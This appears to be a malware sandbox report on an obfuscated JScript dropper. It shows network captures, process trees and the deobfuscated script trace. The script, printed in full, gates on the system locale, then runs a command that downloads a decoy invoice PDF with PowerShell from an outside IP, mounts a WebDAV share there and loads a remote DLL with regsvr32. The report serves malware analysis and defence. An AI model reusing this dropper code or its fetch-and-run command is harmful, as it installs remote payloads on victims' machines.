6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 19:26:26.706677914 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 19:26:26.706695080 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 19:26:26.706795931 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 10, 2025 19:26:26.706823111 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 10, 2025 19:26:26.706836939 CET	1236	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 10, 2025 19:26:26.706852913 CET	1236	IN	Data Raw: df 71 fb ff 88 01 f0 15 5a f1 86 8c cf c0 27 13 43 3f 56 c5 d0 ab 3e 86 9e 15 63 e8 db 57 83 e1 50 f3 98 fd fd 37 5d 0c bd 0a 63 e8 49 8a a1 67 f7 12 43 6f 6e 9e e6 c7 86 3e 04 c7 86 12 43 b7 65 ea 9b 13 00 00 c0 34 f8 62 09 00 26 17 de 78 6b 9a Data Ascii: qZ'C?V>cWP7]cIgCon>Ce4b&xkKEK_BXG:a!9KSRDs/rWUK<Z[axj?P/xy5KoeSco1>'f,12Cn1KCumg
Jan 10, 2025 19:26:26.706897020 CET	1236	IN	Data Raw: c3 00 fa 39 2c 4f 25 7b e5 0c 5a 53 69 75 a2 35 55 74 a1 57 d3 bc ac 95 f7 99 47 97 b3 97 68 91 61 12 5d 22 83 16 ee b4 6b 19 7f 9e fa 1f 47 00 be 4c 95 ff a6 8f cf 93 1b 0b fd e4 77 e4 3e 76 3b 72 4d 0c bd bc e8 62 e8 e9 c9 6d 13 43 0f 5d 0c 35 Data Ascii: 9,O%{ZSiu5UtWGha]"kGLw>v;rMbmC]5GR91g}\|~yS0XmIr%&zu6"Oa508J)$*eer\|S\UP6B]=tWS&)wCNkJV
Jan 10, 2025 19:26:26.706912041 CET	1236	IN	Data Raw: c9 e5 e9 2b 94 0b 33 d7 e6 f3 f1 d2 3d b4 be 84 5e b9 93 31 e5 f3 a5 fe 67 06 7c 12 2d 3f 63 e1 d3 95 fb 91 00 2d f7 63 00 e1 13 58 98 8c 0e 7f 18 a0 fc 6a e6 de 6c b9 57 33 bd d3 56 ef a1 fe 26 93 8b f2 85 22 69 ba 76 ee 2e 17 0e f9 e6 d2 76 fd Data Ascii: +3=^1g\|-?c-cXjlW3V&"iv.v6wzo;CKjv>v;r}mM18C=T~M)1'}xzc(Nj4bZs%T@.QO=P2>jPOjR??GVjDS1#N]E<<]ap
Jan 10, 2025 19:26:26.706931114 CET	1236	IN	Data Raw: 38 14 c0 76 ac 90 4a b0 cb dc 58 e8 a7 e1 8e dc 41 0c 75 07 86 a6 18 7a 56 8e a1 7b a5 ee 19 3c f6 a2 18 7a 38 8f a1 e7 67 71 0c bd ef 63 e8 e8 b1 a1 c4 d0 b5 9a fa e6 04 00 00 30 0d be 58 02 80 2d 30 37 d5 fa 05 b9 7e f4 cc 9c f7 f7 ce 91 d3 24 Data Ascii: 8vJXAuzV{<z8gqc0X-07~$3G{hI0 ?ASw$Ut#*G@"y[4QI2US&R=Tg>As%=V_r=]X^[ZX\.YF{)y'p&Z'Q/kV~[W
Jan 10, 2025 19:26:26.711684942 CET	772	IN	Data Raw: 6e ca 1f 18 fa 31 3c 30 f4 ee b1 8d a1 83 03 43 9b 18 7a 72 6b 62 e8 e1 7e d0 3a 0f c6 1e ee 57 ce 63 e8 d1 e1 ed f1 51 77 6c 68 1b 43 87 c7 86 de 76 c7 86 9a 18 ca b1 a1 5b 31 f5 cd 09 00 00 60 1a 7c b1 04 00 1b e5 ef a8 e5 1d b9 7a d8 ad b0 84 Data Ascii: n1<0Czrkb~:WcQwlhCv[1`\|z3<OhNiB$qi,45WqR=4pa/RrKuk{jv%Z\|GVu;=*VzfN5gM6:?SisUJ[ey\59-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	193.143.1.205	8888	5988	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 19:26:28.682893038 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 19:26:29.482779980 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 18:26:29 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	13:26:22
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\125141699249677575.js"
Imagebase:	0x7ff687e50000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	13:26:22
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8117104914610.dll
Imagebase:	0x7ff61f850000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	13:26:22
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	13:26:23
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	13:26:26
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff686a00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	13:26:26
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff61f850000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	13:26:26
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7e2e90000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	13:26:27
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	13:26:27
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6d64d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	13:26:27
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2168 --field-trial-handle=1740,i,5342693531046197843,1338916335047882724,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function yjjathv() {	yjjathv() ➔ undefined
1	zmcqmy = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var zuacuyu = this[lgsyoxqpd + wutbg + isutu + ylpfuwgxj + fbcynjlrb + wzdvnx + mqbbeit + yvoohqnq] ( this[houawzv + mzpjjo + sewzoqb + isutu + qonasw + lgsyoxqpd + yvoohqnq][fhbmm + isutu + fbcynjlrb + wutbg + yvoohqnq + fbcynjlrb + zclrkmjs + toxencfuj + kbmlxwfo + fbcynjlrb + sewzoqb + yvoohqnq] ( houawzv + mzpjjo + sewzoqb + isutu + qonasw + lgsyoxqpd + yvoohqnq + awfeikxwx + mzpjjo + tdiwqorf + fbcynjlrb + nrtetkjs + nrtetkjs ) [aknczyh + fbcynjlrb + klypfthcj + aknczyh + fbcynjlrb + wutbg + htftov] ( ydxzaz + kynorxv + zrxevd + lghaebyb + jsynw + fhbmm + rxhnndd + aknczyh + aknczyh + zrxevd + tppdaxkr + zphgpmsms + jsynw + rxhnndd + mzpjjo + zrxevd + aknczyh + cjjzcyasa + fhbmm + gneuezbxb + mqbbeit + yvoohqnq + isutu + gneuezbxb + nrtetkjs + bvhdzkwt + emplgouhp + wutbg + mqbbeit + fbcynjlrb + nrtetkjs + cjjzcyasa + wzdvnx + mqbbeit + yvoohqnq + fbcynjlrb + isutu + mqbbeit + wutbg + yvoohqnq + qonasw + gneuezbxb + mqbbeit + wutbg + nrtetkjs + cjjzcyasa + uzfpdejhi + gneuezbxb + sewzoqb + wutbg + nrtetkjs + fbcynjlrb ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( ppdjed = 0 ; ppdjed < zmcqmy[nrtetkjs + fbcynjlrb + mqbbeit + klypfthcj + yvoohqnq + tdiwqorf] ; ++ ppdjed )
4	{
5	if ( zuacuyu == zmcqmy[ppdjed] )
6	{
7	zuacuyu = true;
8	break ;
9	}
10	}
11	if ( zuacuyu !== true )
12	this[houawzv + mzpjjo + sewzoqb + isutu + qonasw + lgsyoxqpd + yvoohqnq][lhcebr + twjhvjlmq + qonasw + yvoohqnq] ( );
13	this[houawzv + mzpjjo + sewzoqb + isutu + qonasw + lgsyoxqpd + yvoohqnq][fhbmm + isutu + fbcynjlrb + wutbg + yvoohqnq + fbcynjlrb + zclrkmjs + toxencfuj + kbmlxwfo + fbcynjlrb + sewzoqb + yvoohqnq] ( houawzv + mzpjjo + sewzoqb + isutu + qonasw + lgsyoxqpd + yvoohqnq + awfeikxwx + mzpjjo + tdiwqorf + fbcynjlrb + nrtetkjs + nrtetkjs ) [isutu + twjhvjlmq + mqbbeit] ( sewzoqb + eadixxgm + htftov + bvhdzkwt + ztoaf + sewzoqb + bvhdzkwt + lgsyoxqpd + gneuezbxb + xgybf + fbcynjlrb + isutu + ylpfuwgxj + tdiwqorf + fbcynjlrb + nrtetkjs + nrtetkjs + awfeikxwx + fbcynjlrb + pzfptxd + fbcynjlrb + bvhdzkwt + wainux + fhbmm + gneuezbxb + eadixxgm + eadixxgm + wutbg + mqbbeit + htftov + bvhdzkwt + codtr + wzdvnx + mqbbeit + huwgi + gneuezbxb + utuma + fbcynjlrb + wainux + houawzv + fbcynjlrb + toxencfuj + aknczyh + fbcynjlrb + bcjucyew + twjhvjlmq + fbcynjlrb + ylpfuwgxj + yvoohqnq + bvhdzkwt + wainux + zclrkmjs + twjhvjlmq + yvoohqnq + mkdoah + qonasw + nrtetkjs + fbcynjlrb + bvhdzkwt + bnxnn + yvoohqnq + fbcynjlrb + eadixxgm + lgsyoxqpd + bnxnn + cjjzcyasa + qonasw + mqbbeit + huwgi + gneuezbxb + qonasw + sewzoqb + fbcynjlrb + awfeikxwx + lgsyoxqpd + htftov + huelnbcin + bvhdzkwt + tdiwqorf + yvoohqnq + yvoohqnq + lgsyoxqpd + uzdlymk + ztoaf + ztoaf + nghzhejii + xksrpf + jwzzgppg + awfeikxwx + nghzhejii + bninrfbuu + jwzzgppg + awfeikxwx + nghzhejii + awfeikxwx + zixogtjgy + zxmuqmmm + vhvtycd + ztoaf + qonasw + mqbbeit + huwgi + gneuezbxb + qonasw + sewzoqb + fbcynjlrb + awfeikxwx + lgsyoxqpd + tdiwqorf + lgsyoxqpd + codtr + gwsvxekyy + gwsvxekyy + ylpfuwgxj + yvoohqnq + wutbg + isutu + yvoohqnq + bvhdzkwt + bnxnn + yvoohqnq + fbcynjlrb + eadixxgm + lgsyoxqpd + bnxnn + cjjzcyasa + qonasw + mqbbeit + huwgi + gneuezbxb + qonasw + sewzoqb + fbcynjlrb + awfeikxwx + lgsyoxqpd + htftov + huelnbcin + gwsvxekyy + gwsvxekyy + sewzoqb + eadixxgm + htftov + bvhdzkwt + ztoaf + sewzoqb + bvhdzkwt + mqbbeit + fbcynjlrb + yvoohqnq + bvhdzkwt + twjhvjlmq + ylpfuwgxj + fbcynjlrb + bvhdzkwt + cjjzcyasa + cjjzcyasa + nghzhejii + xksrpf + jwzzgppg + awfeikxwx + nghzhejii + bninrfbuu + jwzzgppg + awfeikxwx + nghzhejii + awfeikxwx + zixogtjgy + zxmuqmmm + vhvtycd + hvmjeoek + yywrrsg + yywrrsg + yywrrsg + yywrrsg + cjjzcyasa + htftov + wutbg + huwgi + xgybf + xgybf + xgybf + isutu + gneuezbxb + gneuezbxb + yvoohqnq + cjjzcyasa + gwsvxekyy + gwsvxekyy + sewzoqb + eadixxgm + htftov + bvhdzkwt + ztoaf + sewzoqb + bvhdzkwt + isutu + fbcynjlrb + klypfthcj + ylpfuwgxj + huwgi + isutu + jwzzgppg + zixogtjgy + bvhdzkwt + ztoaf + ylpfuwgxj + bvhdzkwt + cjjzcyasa + cjjzcyasa + nghzhejii + xksrpf + jwzzgppg + awfeikxwx + nghzhejii + bninrfbuu + jwzzgppg + awfeikxwx + nghzhejii + awfeikxwx + zixogtjgy + zxmuqmmm + vhvtycd + hvmjeoek + yywrrsg + yywrrsg + yywrrsg + yywrrsg + cjjzcyasa + htftov + wutbg + huwgi + xgybf + xgybf + xgybf + isutu + gneuezbxb + gneuezbxb + yvoohqnq + cjjzcyasa + yywrrsg + nghzhejii + nghzhejii + qiekypp + nghzhejii + zxmuqmmm + bninrfbuu + xksrpf + nghzhejii + bninrfbuu + lniglhl + nghzhejii + zxmuqmmm + awfeikxwx + htftov + nrtetkjs + nrtetkjs, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8117104914610.dll",0,false) ➔ 0
14	}
15	pzfptxd = "x";
16	pzfptxd = "M";
17	pzfptxd = "W";
18	pzfptxd = "L";
19	pzfptxd = "d";
20	pzfptxd = "l";
21	pzfptxd = "n";
22	pzfptxd = "m";
23	pzfptxd = "E";
24	pzfptxd = "c";
25	pzfptxd = "B";
26	pzfptxd = "C";
27	pzfptxd = "Q";
28	pzfptxd = "r";
29	pzfptxd = "z";
30	pzfptxd = "C";
31	pzfptxd = "C";
32	pzfptxd = "t";
33	pzfptxd = "h";
34	pzfptxd = "x";
35	uzfpdejhi = "x";
36	uzfpdejhi = "c";
37	uzfpdejhi = "r";
38	uzfpdejhi = "Y";
39	uzfpdejhi = "I";
40	uzfpdejhi = "K";
41	uzfpdejhi = "o";
42	uzfpdejhi = "J";
43	uzfpdejhi = "j";
44	uzfpdejhi = "d";
45	uzfpdejhi = "E";
46	uzfpdejhi = "D";
47	uzfpdejhi = "q";
48	uzfpdejhi = "b";
49	uzfpdejhi = "k";
50	uzfpdejhi = "u";
51	uzfpdejhi = "r";
52	uzfpdejhi = "n";
53	uzfpdejhi = "M";
54	uzfpdejhi = "T";
55	uzfpdejhi = "x";
56	uzfpdejhi = "c";
57	uzfpdejhi = "C";
58	uzfpdejhi = "C";
59	uzfpdejhi = "R";
60	uzfpdejhi = "I";
61	uzfpdejhi = "R";
62	uzfpdejhi = "M";
63	uzfpdejhi = "T";
64	uzfpdejhi = "L";
65	ydxzaz = "J";
66	ydxzaz = "T";
67	ydxzaz = "I";
68	ydxzaz = "y";
69	ydxzaz = "e";
70	ydxzaz = "r";
71	ydxzaz = "h";
72	ydxzaz = "y";
73	ydxzaz = "l";
74	ydxzaz = "q";
75	ydxzaz = "q";
76	ydxzaz = "n";
77	ydxzaz = "q";
78	ydxzaz = "h";
79	ydxzaz = "H";
80	kynorxv = "J";
81	kynorxv = "I";
82	kynorxv = "Q";
83	kynorxv = "S";
84	kynorxv = "r";
85	kynorxv = "d";
86	kynorxv = "U";
87	kynorxv = "v";
88	kynorxv = "D";
89	kynorxv = "u";
90	kynorxv = "q";
91	kynorxv = "l";
92	kynorxv = "g";
93	kynorxv = "t";
94	kynorxv = "F";
95	kynorxv = "L";
96	kynorxv = "B";
97	kynorxv = "k";
98	kynorxv = "X";
99	kynorxv = "o";
100	kynorxv = "x";
101	kynorxv = "n";
102	kynorxv = "K";
103	kynorxv = "v";
104	kynorxv = "l";
105	kynorxv = "z";
106	kynorxv = "h";
107	kynorxv = "D";
108	kynorxv = "F";
109	kynorxv = "p";
110	kynorxv = "L";
111	kynorxv = "x";
112	kynorxv = "k";
113	kynorxv = "z";
114	kynorxv = "T";
115	kynorxv = "t";
116	kynorxv = "V";
117	kynorxv = "p";
118	kynorxv = "M";
119	kynorxv = "K";
120	wainux = "P";
121	wainux = "h";
122	wainux = "E";
123	wainux = "A";
124	wainux = "D";
125	wainux = "D";
126	wainux = "t";
127	wainux = "J";
128	wainux = "r";
129	wainux = "e";
130	wainux = "V";
131	wainux = "H";
132	wainux = "a";
133	wainux = "V";
134	wainux = "N";
135	wainux = "i";
136	wainux = "r";
137	wainux = "Z";
138	wainux = "L";
139	wainux = "A";
140	wainux = "a";
141	wainux = "G";
142	wainux = "r";
143	wainux = "H";
144	wainux = "Y";
145	wainux = "D";
146	wainux = "o";
147	wainux = "N";
148	wainux = "-";
149	lghaebyb = "O";
150	lghaebyb = "u";
151	lghaebyb = "z";
152	lghaebyb = "M";
153	lghaebyb = "l";
154	lghaebyb = "e";
155	lghaebyb = "H";
156	lghaebyb = "b";
157	lghaebyb = "O";
158	lghaebyb = "X";
159	lghaebyb = "p";
160	lghaebyb = "N";
161	lghaebyb = "V";
162	lghaebyb = "Z";
163	lghaebyb = "X";
164	lghaebyb = "j";
165	lghaebyb = "i";
166	lghaebyb = "l";
167	lghaebyb = "B";
168	lghaebyb = "p";
169	lghaebyb = "b";
170	lghaebyb = "j";
171	lghaebyb = "B";
172	lghaebyb = "O";
173	lghaebyb = "N";
174	lghaebyb = "O";
175	lghaebyb = "i";
176	lghaebyb = "L";
177	lghaebyb = "S";
178	lghaebyb = "u";
179	lghaebyb = "J";
180	lghaebyb = "A";
181	lghaebyb = "n";
182	lghaebyb = "l";
183	lghaebyb = "P";
184	lghaebyb = "l";
185	lghaebyb = "c";
186	lghaebyb = "k";
187	lghaebyb = "W";
188	lghaebyb = "Y";
189	lniglhl = "c";
190	lniglhl = "Z";
191	lniglhl = "s";
192	lniglhl = "u";
193	lniglhl = "H";
194	lniglhl = "w";
195	lniglhl = "q";
196	lniglhl = "M";
197	lniglhl = "6";
198	xgybf = "g";
199	xgybf = "J";
200	xgybf = "b";
201	xgybf = "q";
202	xgybf = "m";
203	xgybf = "t";
204	xgybf = "h";
205	xgybf = "H";
206	xgybf = "C";
207	xgybf = "v";
208	xgybf = "A";
209	xgybf = "N";
210	xgybf = "g";
211	xgybf = "v";
212	xgybf = "P";
213	xgybf = "y";
214	xgybf = "Q";
215	xgybf = "x";
216	xgybf = "y";
217	xgybf = "m";
218	xgybf = "w";
219	gwsvxekyy = "F";
220	gwsvxekyy = "k";
221	gwsvxekyy = "H";
222	gwsvxekyy = "r";
223	gwsvxekyy = "a";
224	gwsvxekyy = "X";
225	gwsvxekyy = "l";
226	gwsvxekyy = "x";
227	gwsvxekyy = "O";
228	gwsvxekyy = "V";
229	gwsvxekyy = "C";
230	gwsvxekyy = "d";
231	gwsvxekyy = "k";
232	gwsvxekyy = "O";
233	gwsvxekyy = "a";
234	gwsvxekyy = "y";
235	gwsvxekyy = "C";
236	gwsvxekyy = "Z";
237	gwsvxekyy = "v";
238	gwsvxekyy = "w";
239	gwsvxekyy = "t";
240	gwsvxekyy = "M";
241	gwsvxekyy = "w";
242	gwsvxekyy = "u";
243	gwsvxekyy = "A";
244	gwsvxekyy = "Z";
245	gwsvxekyy = "q";
246	gwsvxekyy = "L";
247	gwsvxekyy = "&";
248	nrtetkjs = "C";
249	nrtetkjs = "I";
250	nrtetkjs = "i";
251	nrtetkjs = "E";
252	nrtetkjs = "W";
253	nrtetkjs = "Y";
254	nrtetkjs = "p";
255	nrtetkjs = "o";
256	nrtetkjs = "I";
257	nrtetkjs = "X";
258	nrtetkjs = "S";
259	nrtetkjs = "s";
260	nrtetkjs = "P";
261	nrtetkjs = "G";
262	nrtetkjs = "I";
263	nrtetkjs = "S";
264	nrtetkjs = "B";
265	nrtetkjs = "L";
266	nrtetkjs = "L";
267	nrtetkjs = "g";
268	nrtetkjs = "d";
269	nrtetkjs = "L";
270	nrtetkjs = "K";
271	nrtetkjs = "W";
272	nrtetkjs = "N";
273	nrtetkjs = "I";
274	nrtetkjs = "u";
275	nrtetkjs = "d";
276	nrtetkjs = "M";
277	nrtetkjs = "u";
278	nrtetkjs = "I";
279	nrtetkjs = "x";
280	nrtetkjs = "l";
281	jsynw = "g";
282	jsynw = "z";
283	jsynw = "v";
284	jsynw = "u";
285	jsynw = "U";
286	jsynw = "O";
287	jsynw = "n";
288	jsynw = "t";
289	jsynw = "O";
290	jsynw = "j";
291	jsynw = "s";
292	jsynw = "_";
293	awfeikxwx = "W";
294	awfeikxwx = "Q";
295	awfeikxwx = "U";
296	awfeikxwx = "M";
297	awfeikxwx = "o";
298	awfeikxwx = "j";
299	awfeikxwx = "I";
300	awfeikxwx = "z";
301	awfeikxwx = "t";
302	awfeikxwx = "z";
303	awfeikxwx = "g";
304	awfeikxwx = "t";
305	awfeikxwx = "Q";
306	awfeikxwx = "i";
307	awfeikxwx = "b";
308	awfeikxwx = "A";
309	awfeikxwx = "S";
310	awfeikxwx = "Y";
311	awfeikxwx = "z";
312	awfeikxwx = "J";
313	awfeikxwx = "e";
314	awfeikxwx = "h";
315	awfeikxwx = "P";
316	awfeikxwx = "W";
317	awfeikxwx = "z";
318	awfeikxwx = "Q";
319	awfeikxwx = "M";
320	awfeikxwx = "s";
321	awfeikxwx = "V";
322	awfeikxwx = "G";
323	awfeikxwx = "O";
324	awfeikxwx = ".";
325	yywrrsg = "R";
326	yywrrsg = "k";
327	yywrrsg = "u";
328	yywrrsg = "K";
329	yywrrsg = "W";
330	yywrrsg = "i";
331	yywrrsg = "X";
332	yywrrsg = "h";
333	yywrrsg = "v";
334	yywrrsg = "H";
335	yywrrsg = "t";
336	yywrrsg = "B";
337	yywrrsg = "K";
338	yywrrsg = "V";
339	yywrrsg = "t";
340	yywrrsg = "X";
341	yywrrsg = "E";
342	yywrrsg = "b";
343	yywrrsg = "j";
344	yywrrsg = "E";
